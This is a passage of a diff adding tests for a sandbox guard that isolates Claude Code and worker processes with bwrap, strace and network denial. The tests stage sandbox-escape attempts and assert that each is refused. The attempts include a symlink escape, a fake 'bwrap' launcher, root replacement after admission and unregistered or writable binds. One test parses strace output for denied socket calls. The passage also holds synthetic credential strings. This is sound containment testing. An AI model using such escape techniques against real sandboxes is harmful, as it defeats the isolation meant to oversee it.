${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))};import {writeFileSync} from "node:fs"; + const spawnSync=Bun.spawnSync,which=Bun.which; + Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); + Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); + const plan=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],brainPath:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)}},argv:["bwrap","--bind",${JSON.stringify(missing)},"/tmp/odysseus-worker-area","--",${JSON.stringify(runtime)}]})}); + const argv=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv; + writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});plan.dispose();`,scratch); + expect(result.code).not.toBe(0); + expect(result.output).toContain("worker bind source is unavailable"); + expect(result.output).toContain('"sourceKind":"unregistered-source"'); + expect(result.output).toContain('"targetKind":"fixture-temporary"'); + expect(result.output).toContain('"metadataError":"ENOENT"'); + expect(result.output).toContain('"nativeLaunched":false'); + }finally{rmSync(scratch,{recursive:true,force:true});rmSync(keeper,{recursive:true,force:true});} +}); + +test("worker outside-HOME regular files require explicit fixture snapshots",async()=>{ + const scratch=mkdtempSync(join(tmpdir(),"odysseus-worker-files-")),outside=mkdtempSync(join(tmpdir(),"odysseus-outside-file-")); + const sentinel=join(outside,"credential-like"),home=join(scratch,"home");mkdirSync(home);writeFileSync(sentinel,"odysseus-synthetic-sentinel"); + try{ + for(const admitted of [false,true]){ + const result=await probe(`${imports} + import {nativeWorkerBoundary,nativeScriptedService} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))};import {writeFileSync,readFileSync} from "node:fs"; + const spawnSync=Bun.spawnSync,which=Bun.which; + Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); + Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + nativeScriptedService("http://127.0.0.1:1",{fixtureRoots:[${JSON.stringify(home)},...${admitted?JSON.stringify([outside]):"[]"}],fixtureFiles:${admitted?JSON.stringify([sentinel]):"[]"}}); + const plan=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],brainPath:${JSON.stringify(home)},env:{HOME:${JSON.stringify(home)}},argv:["bwrap","--ro-bind",${JSON.stringify(sentinel)},"/tmp/sentinel","--",${JSON.stringify(runtime)}]})}); + const argv=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv; + try { const at=argv.indexOf("/tmp/sentinel"),source=argv[at-1]; + if(source===${JSON.stringify(sentinel)})throw Error("outside file stayed live-bound"); + writeFileSync(${JSON.stringify(sentinel)},"changed-original"); + if(readFileSync(source,"utf8")!=="odysseus-synthetic-sentinel")throw Error("fixture copy was not a snapshot");plan.beforeLaunch(); + }finally{writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});plan.dispose();}`,scratch); + if(admitted)expect(result.code,result.output).toBe(0); + else {expect(result.code).not.toBe(0);expect(result.output).toContain("worker bind was not created or staged by the fixture");expect(result.output).toContain('"nativeLaunched":false');} + } + }finally{rmSync(scratch,{recursive:true,force:true});rmSync(outside,{recursive:true,force:true});} +}); + +test("offline collector authority preserves only explicitly generated synthetic OAuth",async()=>{ + const scratch=mkdtempSync(join(tmpdir(),"odysseus-offline-collector-")); + try{ + const result=await probe(`${imports} + import {nativeSyntheticCredential,nativeScriptedService} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))};import {writeFileSync,readFileSync} from "node:fs"; + const spawnSync=Bun.spawnSync,which=Bun.which; + Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); + Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + registerScriptedService("http://127.0.0.1:1"); + const token=nativeSyntheticCredential("CLAUDE_CODE_OAUTH_TOKEN"); + const leave=nativeScriptedService("http://127.0.0.1:2"); + try {for(const value of [token,"sk-ant-oat01-offline-odysseus-not-generated"]){ + const plan=nativeClaudeBoundary(${JSON.stringify(runtime)},[],{cwd:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)},CLAUDE_CODE_OAUTH_TOKEN:value,ANTHROPIC_BASE_URL:"http://127.0.0.1:2"}}); + const argv=plan.argv,at=argv.indexOf("CLAUDE_CODE_OAUTH_TOKEN"); + if((value===token)!==(at>=0&&argv[at+1]===value))throw Error("synthetic credential provenance lost"); + writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});plan.dispose(); + }} finally{leave();} + const source=readFileSync(${JSON.stringify(join(ROOT,"scripts/measure-turn-surface-live.ts"))},"utf8"); + const hook=source.slice(source.indexOf("spawnClaudeCodeProcess: spec"),source.indexOf("turn = await startOverlappedTurn")); + if(!hook.includes("nativeScriptedService(offline.nativeBaseUrl")||hook.indexOf("nativeScriptedService(")>hook.indexOf("child = spawn("))throw Error("collector did not pin service before spawn"); + if(!source.includes('offline ? nativeSyntheticCredential("CLAUDE_CODE_OAUTH_TOKEN")'))throw Error("collector did not generate its synthetic token");`,scratch); + expect(result.code,result.output).toBe(0); + }finally{rmSync(scratch,{recursive:true,force:true});} +}); + +test("a native argv cannot use an argument named bwrap as its isolation launcher",async()=>{ + const scratch=mkdtempSync(join(tmpdir(),"odysseus-fake-launcher-")); + try{ + writeFileSync(join(scratch,"bwrap"),"#!/bin/sh\nexit 0\n",{mode:0o755}); + const command=[runtime!,join(scratch,"bwrap")]; + const result=await probe(`${imports}import {nativeWorkerBoundary} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))}; + nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:${JSON.stringify(JSON.stringify({command,argv:command,brainPath:scratch}))}});`,scratch); + expect(result.code).not.toBe(0);expect(result.output).toContain("native worker lacks the OS launcher");expect(result.output).toContain('"nativeLaunched":false'); + }finally{rmSync(scratch,{recursive:true,force:true});} +}); + +test("worker filesystem-filter prefix is verified before native admission",async()=>{ + const scratch=mkdtempSync(join(tmpdir(),"odysseus-worker-filter-")); + try{ + const result=await probe(`${imports} + import {nativeWorkerBoundary} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))};import {WORKER_FILESYSTEM_FILTER_PROGRAM} from ${JSON.stringify(join(ROOT,"packages/ui-sdk/src/server/worker-filesystem-filter.ts"))};import {writeFileSync} from "node:fs"; + const spawnSync=Bun.spawnSync,which=Bun.which; + Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); + Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); + const plan=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],brainPath:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)}},argv:["/usr/bin/python3","-I","-S","-c",WORKER_FILESYSTEM_FILTER_PROGRAM,"bwrap","--",${JSON.stringify(runtime)}]})}); + const argv=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv; + if(!argv.includes(WORKER_FILESYSTEM_FILTER_PROGRAM)||!argv.includes("--unshare-net"))throw Error("trusted filter or OS boundary lost"); + writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});plan.dispose();`,scratch); + expect(result.code,result.output).toBe(0); + }finally{rmSync(scratch,{recursive:true,force:true});} +}); + +test("guard-created fixture roots cannot authorize a replacement host tree",async()=>{ + const scratch=mkdtempSync(join(tmpdir(),"odysseus-owned-root-")); + try{ + const result=await probe(`${imports} + import {nativeFixtureDirectory,nativeWorkerBoundary,nativeScriptedService} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))};import {writeFileSync,renameSync,mkdirSync,rmSync} from "node:fs"; + const spawnSync=Bun.spawnSync,which=Bun.which; + Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); + Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + nativeScriptedService("http://127.0.0.1:1",{fixtureRoots:[]}); + const root=nativeFixtureDirectory("odysseus-created-input-"),file=root+"/input";writeFileSync(file,"created-fixture");nativeScriptedService("http://127.0.0.1:1",{fixtureRoots:[root]});let plan; + try {plan=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],argv:["bwrap","--ro-bind",file,"/tmp/input","--",${JSON.stringify(runtime)}]})}); + renameSync(root,root+"-original");mkdirSync(root);writeFileSync(file,"replacement-outside-data"); + let refused=false;try{plan.beforeLaunch();}catch(error){refused=String(error).includes("worker bind was not created or staged by the fixture");} + if(!refused)throw Error("replacement root was admitted");console.error("CREATED_ROOT_REPLACEMENT_REFUSED"); + }finally{plan?.dispose();rmSync(root,{recursive:true,force:true});rmSync(root+"-original",{recursive:true,force:true});}`,scratch); + expect(result.code).not.toBe(0);expect(result.output.split("\n")).toContain("CREATED_ROOT_REPLACEMENT_REFUSED"); + }finally{rmSync(scratch,{recursive:true,force:true});} +}); + +test("a refused worker spawn rejects and closes the failed invocation promptly",async()=>{ + const scratch=mkdtempSync(join(tmpdir(),"odysseus-refusal-deadline-")); + try{ + const wrapper=join(scratch,"fixture-wrapper"),marker=join(scratch,"launched"),script=join(scratch,"probe.ts"); + writeFileSync(wrapper,`#!/bin/sh\nprintf launched > '${marker}'\n`);chmodSync(wrapper,0o700); + writeFileSync(script,`${imports} + await Promise.resolve().then(()=>Bun.spawn([${JSON.stringify(wrapper)},${JSON.stringify(runtime)}],{env:{BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(wrapper)},${JSON.stringify(runtime)}],argv:["bwrap","--",${JSON.stringify(wrapper)},${JSON.stringify(runtime)}]})}})).catch(()=>console.error("SPAWN_PROMISE_REJECTED")); + setInterval(()=>{},1000);`); + const child=spawnGuardFixture([process.execPath,script],{env:{PATH:"/usr/bin:/bin",HOME:scratch},stdout:"pipe",stderr:"pipe",signal:AbortSignal.timeout(watchdogMs(5000))}); + const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); + expect(code,err).toBe(1);expect(out).toBe("");expect(err.split("\n")).toContain("SPAWN_PROMISE_REJECTED"); + expect(err).toContain('"nativeLaunched":false');expect(err).not.toContain("attempted real network access");expect(err).toContain("native isolation failed; see native-offline-* receipts");expect(existsSync(marker)).toBe(false); + }finally{rmSync(scratch,{recursive:true,force:true});} +},watchdogMs(15000)); + +test("keeper output root requires a guarded child namespace and pinned fixture handle",async()=>{ + const scratch=mkdtempSync(join(tmpdir(),"odysseus-keeper-registration-")),keeperRoot=mkdtempSync(join(tmpdir(),"odysseus-keeper-output-")),outside=mkdtempSync(join(tmpdir(),"odysseus-keeper-outside-")); + try{ + mkdirSync(join(keeperRoot,"merged/.brain/scratch"),{recursive:true});writeFileSync(join(keeperRoot,"merged/.brain/scratch/result.md"),"Odysseus returns to Ithaca."); + symlinkSync(outside,join(keeperRoot,"merged/escape")); + const result=await probe(`import * as fs from "node:fs";import {mock} from "bun:test"; + const child=Bun.spawn([process.execPath,"--no-env-file","-e",'process.stdin.resume();process.stdin.once("end",()=>process.exit(0));'],{stdin:"pipe",stdout:"ignore",stderr:"ignore"}); + const originalFs={...fs},namespace=\`/proc/\${child.pid}/ns/mnt\`; + // Metadata-only stand-in for a separate tmpfs namespace. No namespace or + // installed runtime executes; the hosted cell supplies the kernel proof. + mock.module("node:fs",()=>({...originalFs,statSync:(path,options)=>{const info=originalFs.statSync(path,options);return path===namespace?{...info,ino:typeof info.ino==="bigint"?info.ino+1n:info.ino+1}:info;},statfsSync:()=>({type:0x01021994})})); + const guard=await import(${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))}); + const spawnSync=Bun.spawnSync,which=Bun.which; + Bun.which=((name,options)=>name==="strace"?"/synthetic/strace":which(name,options)); + Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + guard.nativeScriptedService("http://127.0.0.1:1",{fixtureRoots:[${JSON.stringify(scratch)}]}); + guard.recordNativeGuardChild(child); + const fd=fs.openSync(${JSON.stringify(keeperRoot)},"r"),start=fs.readFileSync(\`/proc/\${child.pid}/stat\`,"utf8").replace(/^.*\\) /s,"").split(" ")[19]; + const unregister=guard.registerNativeFixtureKeeper({root:\`/proc/\${process.pid}/fd/\${fd}\`,mount:${JSON.stringify(keeperRoot)},namespacePid:child.pid,namespaceStart:start}); + const env={BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],brainPath:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)}},argv:["/usr/bin/nsenter","--target",String(child.pid),"--user","--mount","--preserve-credentials","--","bwrap","--bind",${JSON.stringify(join(keeperRoot,"merged/.brain/scratch"))},"/tmp/odysseus-output","--",${JSON.stringify(runtime)}]})}; + try{ + const plan=guard.nativeWorkerBoundary(env);plan.beforeLaunch(); + const argv=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv; + const binds=argv.slice(argv.indexOf("--bind"));if(!binds.includes(${JSON.stringify(join(keeperRoot,"merged/.brain/scratch"))}))throw Error("PUBLICATION_BIND_CHANGED"); + fs.writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});plan.dispose();console.error(JSON.stringify({keeperRoot:"admitted"})); + const hostNamespace=JSON.parse(env.BRAIN_WORKER_LAUNCH);hostNamespace.argv=hostNamespace.argv.filter(value=>value!=="--mount"); + try{const unsafe=guard.nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify(hostNamespace)});unsafe.dispose();throw Error("KEEPER_WITHOUT_MOUNT_ADMITTED");}catch(error){if(!String(error).includes("worker bind was not created or staged by the fixture"))throw error;console.error(JSON.stringify({keeperRoot:"missing-mount-refused"}));} + const escaped=JSON.parse(env.BRAIN_WORKER_LAUNCH);escaped.argv[escaped.argv.indexOf("--bind")+1]=${JSON.stringify(join(keeperRoot,"merged/escape"))}; + try{const unsafe=guard.nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify(escaped)});unsafe.dispose();throw Error("KEEPER_SYMLINK_ESCAPE_ADMITTED");}catch(error){if(!String(error).includes("worker bind was not created or staged by the fixture"))throw error;console.error(JSON.stringify({keeperRoot:"escape-refused"}));} + unregister(); + try{const unsafe=guard.nativeWorkerBoundary(env);unsafe.dispose();throw Error("UNREGISTERED_KEEPER_ADMITTED");}catch(error){if(!String(error).includes("worker bind was not created or staged by the fixture"))throw error;console.error(JSON.stringify({keeperRoot:"unregistered-refused"}));} + }finally{unregister();child.stdin.end();child.kill("SIGKILL");fs.closeSync(fd);}`,scratch); + expect(result.output.split("\n")).toContain('{"keeperRoot":"missing-mount-refused"}');expect(result.output.split("\n")).toContain('{"keeperRoot":"admitted"}');expect(result.output.split("\n")).toContain('{"keeperRoot":"unregistered-refused"}');expect(result.output.split("\n")).toContain('{"keeperRoot":"escape-refused"}');expect(result.code).toBe(1); + }finally{rmSync(scratch,{recursive:true,force:true});rmSync(keeperRoot,{recursive:true,force:true});rmSync(outside,{recursive:true,force:true});} +}); + +test("worker plans stage only their canonical read-only resolver with synthetic bytes",async()=>{ + for(const mode of ["canonical","unregistered","writable"] as const){ + const scratch=mkdtempSync(join(tmpdir(),"odysseus-resolver-plan-")); + try{ + const resolver=join(scratch,"resolver"),other=join(scratch,"other"); + writeFileSync(resolver,"SIRENS_PRIVATE_DNS_MUST_NOT_COPY");writeFileSync(other,"OUTSIDE_CREDENTIAL_SENTINEL"); + const result=await probe(`import * as fs from "node:fs";import {mock} from "bun:test"; + const original={...fs}; + mock.module("node:fs",()=>({...original,realpathSync:(path,...args)=>path==="/etc/resolv.conf"?${JSON.stringify(resolver)}:original.realpathSync(path,...args),readFileSync:(path,...args)=>{if(path===${JSON.stringify(resolver)})throw Error("HOST_RESOLVER_BYTES_READ");return original.readFileSync(path,...args);}})); + const guard=await import(${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))}); + const spawnSync=Bun.spawnSync,which=Bun.which; + Bun.which=((name,options)=>name==="strace"?"/synthetic/strace":which(name,options)); + Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + guard.nativeScriptedService("http://127.0.0.1:1",{fixtureRoots:[]}); + const plan=guard.nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],argv:["bwrap",${JSON.stringify(mode==="writable"?"--bind":"--ro-bind")},${JSON.stringify(mode==="unregistered"?other:resolver)},"/etc/resolv.conf","--",${JSON.stringify(runtime)}]})}); + try{plan.beforeLaunch();const argv=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv; + const at=argv.indexOf("/etc/resolv.conf"),copy=argv[at-1]; + if(copy===${JSON.stringify(resolver)}||original.readFileSync(copy,"utf8")!=="nameserver 127.0.0.1\\noptions attempts:1 timeout:1\\n"||(original.statSync(copy).mode&0o777)!==0o444)throw Error("RESOLVER_PLAN_NOT_SYNTHETIC_READONLY"); + fs.writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});console.error("RESOLVER_PLAN_SYNTHETIC"); + }finally{plan.dispose();}`,scratch); + expect(result.output).not.toContain("HOST_RESOLVER_BYTES_READ"); + if(mode==="canonical"){expect(result.code,result.output).toBe(0);expect(result.output.split("\n")).toContain("RESOLVER_PLAN_SYNTHETIC");} + else{expect(result.code).not.toBe(0);expect(result.output).toContain(mode==="writable"?"native resolver bind must be read-only":"worker bind was not created or staged by the fixture");} + }finally{rmSync(scratch,{recursive:true,force:true});} + } +}); + + +test("socket denial audit records raw syscalls without trusting stderr or syscall-looking data",async()=>{ + const {deniedNativeSocketOperations}=await import("../scripts/test-native-guard"); + expect(deniedNativeSocketOperations('42 connect(0x3, 0x123, 0x20) = -1 EPERM\n42 sendmsg(0x3, 0x456, 0x0) = -1 EPERM\n42 <... bind resumed>) = -1 EACCES\n42 openat(3, "connect(3) = -1 EPERM", 0) = -1 ENOENT\n42 execve("sendto(3) = -1 EPERM", [], 0) = 0\nchild claimed connect(3) = -1 EPERM')).toBe(3); +}); + +test("runtime provenance rechecks walk entries without re-attesting fixtures for every runtime file",async()=>{ + const scratch=mkdtempSync(join(tmpdir(),"odysseus-provenance-cost-")); + try{ + const result=await probe(`import * as fs from "node:fs";import {mock} from "bun:test"; + const ROOT=${JSON.stringify(ROOT)},backend=ROOT+"/packages/ui-backend-claude";let stamp="",stampChecks=0,runtimeFiles=0,backendTraversals=0; + const original={...fs};mock.module("node:fs",()=>({...original, + lstatSync:(path,...args)=>{const info=original.lstatSync(path,...args);if(path===stamp)stampChecks++;if(info.isFile()&&(String(path).startsWith(ROOT+"/packages/")||String(path).startsWith(ROOT+"/node_modules/")))runtimeFiles++;return info;}, + readdirSync:(path,...args)=>{if(path===backend)backendTraversals++;return original.readdirSync(path,...args);} + })); + const guard=await import(${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))}); + const spawnSync=Bun.spawnSync,which=Bun.which;Bun.which=((name,options)=>name==="strace"?"/synthetic/strace":which(name,options)); + Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + stamp=guard.nativeFixtureDirectory("odysseus-attestation-count-");guard.nativeScriptedService("http://127.0.0.1:1",{fixtureRoots:[]}); + let plan;try{ + plan=guard.nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],argv:["bwrap","--ro-bind",backend,"/tmp/odysseus-runtime-alias","--",${JSON.stringify(runtime)}]})}); + const initial=backendTraversals;plan.beforeLaunch(); + const argv=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv;fs.writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)}); + console.error(JSON.stringify({runtimeProvenanceCost:{stampChecks,runtimeFiles,backendTraversals,initial}})); + }finally{plan?.dispose();fs.rmSync(stamp,{recursive:true,force:true});}`,scratch); + expect(result.code,result.output).toBe(0); + const cost=JSON.parse(result.output.split("\n").find(line=>line.startsWith('{"runtimeProvenanceCost":'))!).runtimeProvenanceCost; + expect(cost.runtimeFiles,"RUNTIME_TREE_WAS_WALKED").toBeGreaterThan(100); + expect(cost.stampChecks,"FIXTURE_ATTESTATIONS_ARE_NOT_PER_RUNTIME_FILE").toBeLessThan(cost.runtimeFiles/5); + expect(cost.backendTraversals,"OVERLAPPING_MOUNTS_WALKED_ONCE_PER_VALIDATION").toBeLessThanOrEqual(4); + expect(cost.backendTraversals,"BEFORE_LAUNCH_RECHECK_IS_FRESH").toBeGreaterThan(cost.initial); + }finally{rmSync(scratch,{recursive:true,force:true});} +}); + +test("direct and trusted worker plans admit only a registered turn-proxy endpoint",async()=>{ + const scratch=mkdtempSync(join(tmpdir(),"odysseus-proxy-plan-")); + try{ + const result=await probe(`${imports} + import * as guard from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))};import {writeFileSync} from "node:fs"; + const spawnSync=Bun.spawnSync,which=Bun.which; + Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); + Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + const root=${JSON.stringify(scratch)},runtime=${JSON.stringify(runtime)},entry=${JSON.stringify(join(ROOT,"packages/ui-sdk/src/server/egress-worker-entry.ts"))}; + guard.nativeScriptedService("http://127.0.0.1:9",{fixtureRoots:[root],turnProxy:true}); + const tunnel=guard.startNativeTurnProxyTunnel("http://127.0.0.1:9",root);await new Promise(resolve=>setImmediate(resolve)); + function finish(plan,argv){writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});plan.dispose();} + try{ + const direct=guard.nativeClaudeBoundary(runtime,[],{cwd:root,env:{HOME:root,PATH:"/usr/bin:/bin",ANTHROPIC_UNIX_SOCKET:tunnel.socket,ANTHROPIC_BASE_URL:"http://localhost/anthropic"}}); + if(!direct.argv.some((arg,i)=>arg==="--setenv"&&direct.argv[i+1]==="ANTHROPIC_BASE_URL"&&direct.argv[i+2]==="http://localhost/anthropic"))throw Error("DIRECT_ADMITTED_BASE_PATH_PRESERVED"); + if(!direct.argv.includes("--turn-proxy")||!direct.argv.includes(entry))throw Error("DIRECT_PROXY_REGISTRATION_MISSING");finish(direct,direct.argv); + for(const [trusted,registered] of [[true,true],[true,false],[false,true]]){ + const command=[runtime],wrapper=trusted?[process.execPath,entry]:["/usr/bin/true"]; + const argv=["bwrap","--ro-bind",tunnel.socket,"/run/brain-inference/relay.sock",...(registered?["--ro-bind",tunnel.socket,guard.WORKER_TURN_PROXY]:[]),"--",...wrapper,...command]; + const plan=guard.nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command,argv,brainPath:root,env:{HOME:root,PATH:"/usr/bin:/bin",ANTHROPIC_UNIX_SOCKET:"/run/brain-inference/relay.sock",ANTHROPIC_BASE_URL:"http://localhost/anthropic"}})}),actual=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv; + if(!actual.some((arg,i)=>arg==="--setenv"&&actual[i+1]==="ANTHROPIC_BASE_URL"&&actual[i+2]==="http://localhost/anthropic"))throw Error("WORKER_ADMITTED_BASE_PATH_PRESERVED"); + if(actual.includes("--turn-proxy")!==(trusted&®istered))throw Error("WORKER_PROXY_REQUIRES_TRUSTED_WRAPPER_AND_REGISTRATION");finish(plan,actual); + } + }finally{tunnel.dispose();}`,scratch); + expect(result.code,result.output).toBe(0); + }finally{rmSync(scratch,{recursive:true,force:true});} +}); + +test("every native launch path preserves the product environment except documented guard keys",async()=>{ + const scratch=mkdtempSync(join(tmpdir(),"odysseus-all-native-auth-")); + try{ + const result=await probe(`${imports} + import {writeFileSync,mkdirSync} from "node:fs";import {query} from ${JSON.stringify(Bun.resolveSync("@anthropic-ai/claude-agent-sdk",ROOT))};import {createFixtureWorkerStartupView} from ${JSON.stringify(join(ROOT,"packages/ui-sdk/tests/helpers/worker-startup-view-fixture.ts"))};import {spyOn} from "bun:test"; + import * as launcher from ${JSON.stringify(join(ROOT,"packages/ui-sdk/src/server/worker-launcher.ts"))}; + import {WORKER_IDENTITY_SUPERVISOR} from ${JSON.stringify(join(ROOT,"packages/ui-sdk/src/server/worker-identity-program.ts"))}; + import {nativeWorkerBoundary,nativeScriptedService} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))}; + spyOn(launcher,"verifiedWorkerIdentity").mockReturnValue({identity:"separate_uid",workerUid:(process.getuid()||21000)+1}); + const spawnSync=Bun.spawnSync,which=Bun.which; + Bun.which=((name,options)=>name==="strace"?"/synthetic/strace":which(name,options)); + Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + const recorder=Bun.serve({port:0,fetch:()=>new Response("Ithaca")});const leave=nativeScriptedService(recorder.url.origin,{fixtureRoots:[${JSON.stringify(scratch)}],fixtureCredentials:{CLAUDE_CODE_OAUTH_TOKEN:"sk-ant-oat01-odysseus-fixture"}}); + const source=${JSON.stringify(join(scratch,"product-inference.sock"))},target="/run/brain-egress/inference.sock",relay=Bun.serve({unix:source,fetch:()=>new Response("Ithaca")}); + async function sdkEnvironment(env){let captured;const sentinel=new Error("CAPTURE_ONLY_NO_NATIVE_EXEC");let result;try{result=query({prompt:"Ithaca",options:{env,pathToClaudeCodeExecutable:${JSON.stringify(runtime)},spawnClaudeCodeProcess(spec){captured=spec.env;throw sentinel;}}});for await(const message of result){}}catch(error){if(!captured)throw error;}finally{result?.close?.();}if(!captured)throw Error("REAL_SDK_ENV_REQUIRED");return captured;} + const productBrain=${JSON.stringify(join(scratch,"product-brain"))};mkdirSync(productBrain);const startupView=createFixtureWorkerStartupView(productBrain); + try { + const declaredKey="sk-ant-api03-"+"d".repeat(95)+"AA",completed=[]; + for(const path of ["direct","prewarm","worker","relayed","separate-UID"]){ + for(const productSocket of (path==="relayed"?[true]:[false,true]))for(const flag of [undefined,"0","1"]){ + let 